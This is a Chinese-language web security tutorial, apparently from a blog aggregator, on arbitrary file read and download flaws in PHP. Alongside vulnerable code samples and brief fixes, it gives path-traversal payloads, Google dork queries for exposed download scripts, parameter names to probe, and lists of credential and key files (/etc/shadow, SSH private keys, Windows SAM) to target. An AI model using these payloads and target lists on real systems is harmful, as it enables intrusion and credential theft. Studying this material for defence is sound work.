11.任意文件查看與下載漏洞

漏洞介紹php

一些網站因爲業務需求,可能提供文件查看或下載的功能,若是對用戶查看或下載的文件不作限制,則惡意用戶mysql

就可以查看或下載任意的文件,能夠是源代碼文件、敏感文件等。web

 利用條件sql

*存在讀文件的函數
*讀取文件的路徑用戶可控且未校驗或校驗不嚴
*輸出了文件內容bash

 漏洞危害服務器

下載服務器任意文件,如腳本代碼,服務及系統配置文件等
可用獲得的代碼進一步代碼審計,獲得更多可利用漏洞 ssh

 任意文件讀取函數

代碼形式以下幾種:
<?php
  $filename = "test.txt";
  readfile($filename); ?>

<?php
  $filename = "test.txt";
  $fp = fopen($filename,"r") or die("Unable to open file!");
  $data = fread($fp,filesize($filename));
  fclose($fp);
?>

<?php
  $filename = "test.txt";
  echo file_get_contents($filename);
?>

<?php
  $filename = $_GET['f'];
  echo file_get_contents($filename);
?>
###$filename沒有通過校驗,或者校驗不嚴格,用戶可控制這個變量讀取任意的文件。好比:/etc/passwd,
./index.php等等網站

 任意文件下載url

直接下載:

<a href=「http://www.xxxx.com/xxx.rar」>??</a>

用header()下載:

<?php   

  $filename = $_GET['f'];
  header('Content-Type:image/gif');
  header('Content-Disposition: attachment; filename='.$filename);
  header('Content-Length: '.filesize($filename));
  readfile($filename); ?>
###$filename沒有通過校驗,或者校驗不嚴格,用戶可控制這個變量讀取任意的文件。好比:/etc/passwd,
./index.php等等

 漏洞利用代碼

readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00

 Google search

inurl:"readfile.php?file="
inurl:"read.php?file="
inurl:"download.php?file="
inurl:"down.php?file="

 漏洞挖掘

 

能夠用Google hacking或web漏洞掃描器
從連接上看,形如:
  readfile.php?file=***.txt
  download.php?file=***.rar
從參數名看,形如:
  &RealPath=
  &FilePath=
  &filepath=
  &Path=
  &path=
  &inputFile=
  &url=
  &urls=
  &Lang=
  &data=
  &readfile=
  &filep=
  &src=
  &menu=
  META-INF  
  WEB-INF

 

 敏感文件

Windows:
  C:\boot.ini
  C:\Windows\System32\inetsrv\MetaBase.xml
  C:\Windows\repair\sam //存儲系統初次安裝的密碼
  C:\Program Files\mysql\my.ini //Mysql配置
  C:\Program Fiels\mysql\data\mysql\user.MYD //Mysql root
  C:\Windows\php.ini //php配置信息
  C:\Winsows\my.ini //mysql配置信息
Linux:
  /root/.ssh/authorized_keys
  /root/.ssh/id_rsa
  /root/.ssh/id_ras.keystore
  /root/.ssh/known_hosts
  /etc/passwd
  /etc/shadow
  /etc/my.cnf
  /etc/httpd/conf/httpd.conf
  /root/.bash_history
  /root/.mysql_hstory
  /proc/self/fd/fd[0-9]*(文件標識符)
  /proc/mounts
  /proc/config.gz

 漏洞驗證

index.php?f=../../../../../../../etc/passwd
index.php?f=../index.php
index.php?f=file:///etc/passwd
注:當參數f的參數值爲php文件時,如果文件被解析則是文件包含漏洞,
  若顯示源碼或提示下載則是文件查看與下載漏洞

 修復方案

過濾點(.)使用戶在url中不能回溯上級目錄正則嚴格判斷用戶輸入參數的格式php.ini 配置open_basedir限定文件訪問範圍

相關文章
相關標籤/搜索